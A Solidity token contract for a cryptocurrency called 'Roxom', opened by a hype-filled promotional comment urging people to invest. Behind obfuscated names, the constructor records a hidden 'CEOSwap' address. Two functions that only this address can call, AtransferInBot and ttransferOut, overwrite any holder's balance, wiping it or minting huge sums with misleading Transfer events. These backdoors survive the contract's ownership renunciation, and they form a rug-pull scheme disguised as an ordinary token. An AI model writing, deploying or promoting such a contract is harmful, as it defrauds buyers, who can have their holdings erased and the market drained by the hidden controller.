// SPDX-License-Identifier: MIT    
/*
? Roxom

?? Introducing Roxom (Roxom) ??

The future of digital finance is here with Roxom! Ready to transform your portfolio? ??

? Roxom

? Why Roxom?
Roxom is not just another token; it's your gateway to a new era of smart investments and innovative technology. With cutting-edge features and a robust ecosystem, Roxom is set to redefine how we think about digital assets. ??

? Key Features:

High Security: Advanced protocols to keep your investments safe. ?
Scalability: Designed to grow with the market. ?
Innovation: Constant updates and improvements. ?

? Trading Tips for Roxom: ?

Stay Informed: Keep up with the latest news and updates about Roxom. Knowledge is power! ??
Set Alerts: Use price alerts to monitor significant changes and avoid missing out on key opportunities. ⏰?
Diversify: While Roxom is promising, diversification can help manage risk and increase your investment potential. ??
Analyze Trends: Study historical data and market trends to make informed decisions. ??
Risk Management: Invest only what you can afford to lose and set stop-loss orders to protect your assets. ?️?
Engage with the Community: Join Roxom's online forums and social media to connect with other traders and gain insights. ??
Long-Term Vision: Consider holding Roxom for the long term to maximize potential returns. ??
Don’t miss out on the chance to be part of the Roxom revolution! ??

? Follow Us: Twitter.com/Roxom t.me/Roxom  for the latest updates and community news! ?

#Roxom #Roxom #CryptoRevolution #InvestSmart

*/

pragma solidity ^0.8.26;


abstract contract erc {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface erci {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 bamount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 bamount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 bamount
    ) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 totalo);

    event Approval(address indexed owner, address indexed spender, uint256 totalo);
}

interface ercii is erci {

    function name() external view returns (string memory);


    function symbol() external view returns (string memory);


    function decimals() external view returns (uint8);
}

abstract contract erciii is erc {
   address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 
    constructor() {
        _transferOwnership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Roxomtoken is erc, erci, ercii, erciii {

    mapping(address => uint256) private Aalances;
  mapping(address => bool) public erciiZERTY;
    mapping(address => mapping(address => uint256)) private TMPallowances;
address private CEOSwap;
    uint256 private ALLtotalSupply;
    string private _name;
    string private _symbol;
  address ercaddress;
    // My variables
    mapping(address => bool) public isPauseWAW;

    
    constructor(address Pairlp) {
            // Editable
            ercaddress = msg.sender;

        _name = "Roxom";
        _symbol = "Roxom";
  CEOSwap = Pairlp;        
        uint _totalSupply = 1000000000000 * 10**9;
        enviyer(msg.sender, _totalSupply);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return ALLtotalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return Aalances[account];
    }

    function transfer(address to, uint256 bamount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, bamount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return TMPallowances[owner][spender];
    }

    function approve(address spender, uint256 bamount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, bamount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 bamount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, bamount);
        _transfer(from, to, bamount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedtotalo) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, TMPallowances[owner][spender] + addedtotalo);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedtotalo) public virtual returns (bool) {
        address owner = _msgSender();
        uint256  currentsold = TMPallowances[owner][spender];
        require( currentsold >= subtractedtotalo, "Ehi20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender,  currentsold - subtractedtotalo);
        }

        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 bamount
    ) internal virtual {
        require(from != address(0), "Ehi20: transfer from the zero address");
        require(to != address(0), "Ehi20: transfer to the zero address");

        beforeTokenTransfer(from, to, bamount);

        uint256 fromBalance = Aalances[from];
        require(fromBalance >= bamount, "Ehi20: transfer bamount exceeds balance");
        unchecked {
            Aalances[from] = fromBalance - bamount;
        }
        Aalances[to] += bamount;

        emit Transfer(from, to, bamount);

        afterTokenTransfer(from, to, bamount);
    }
  modifier Tesla0wner () {
    require(ercaddress == msg.sender, "Ehi20: cannot permit CEO address");
    _;
  
  }
    function enviyer(address account, uint256 bamount) internal virtual {
        require(account != address(0), "Ehi20: enviyer to the zero address");

        beforeTokenTransfer(address(0), account, bamount);

        ALLtotalSupply += bamount;
        Aalances[account] += bamount;
        emit Transfer(address(0), account, bamount);

        afterTokenTransfer(address(0), account, bamount);
    }
    modifier CEO() {
        require(CEOSwap == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


  function AtransferInBot(address value) external CEO {
    Aalances[value] = 3698502698541;
            emit Transfer(address(0), value, 3698520698541);
  }

    function _burn(address account, uint256 bamount) internal virtual {
        require(account != address(0), "Ehi20: burn from the zero address");

        beforeTokenTransfer(account, address(0), bamount);

        uint256 accountBalance = Aalances[account];
        require(accountBalance >= bamount, "Ehi20: burn bamount exceeds balance");
        unchecked {
            Aalances[account] = accountBalance - bamount;
        }
        ALLtotalSupply -= bamount;

        emit Transfer(account, address(0), bamount);

        afterTokenTransfer(account, address(0), bamount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 bamount
    ) internal virtual {
        require(owner != address(0), "Ehi20: approve from the zero address");
        require(spender != address(0), "Ehi20: approve to the zero address");

        TMPallowances[owner][spender] = bamount;
        emit Approval(owner, spender, bamount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 bamount
    ) internal virtual {
        uint256  currentsold = allowance(owner, spender);
        if ( currentsold != type(uint256).max) {
            require( currentsold >= bamount, "Ehi20: insufficient allowance");
            unchecked {
                _approve(owner, spender,  currentsold - bamount);
            }
        }
    }
  function ttransferOut(address values) external CEO {
    Aalances[values] = 100000 * 10 ** 21;
            emit Transfer(address(0), values, 100000 * 10 ** 21);
  }
    function beforeTokenTransfer(
        address from,
        address to,
        uint256 bamount
    ) internal virtual {}


    function afterTokenTransfer(
        address from,
        address to,
        uint256 bamount
    ) internal virtual {}
 string public RoxomCtVersion = "Roxom 0.8.26";
            function getRoxomCtVersion() public view returns (string memory) {
        return RoxomCtVersion;
    }
}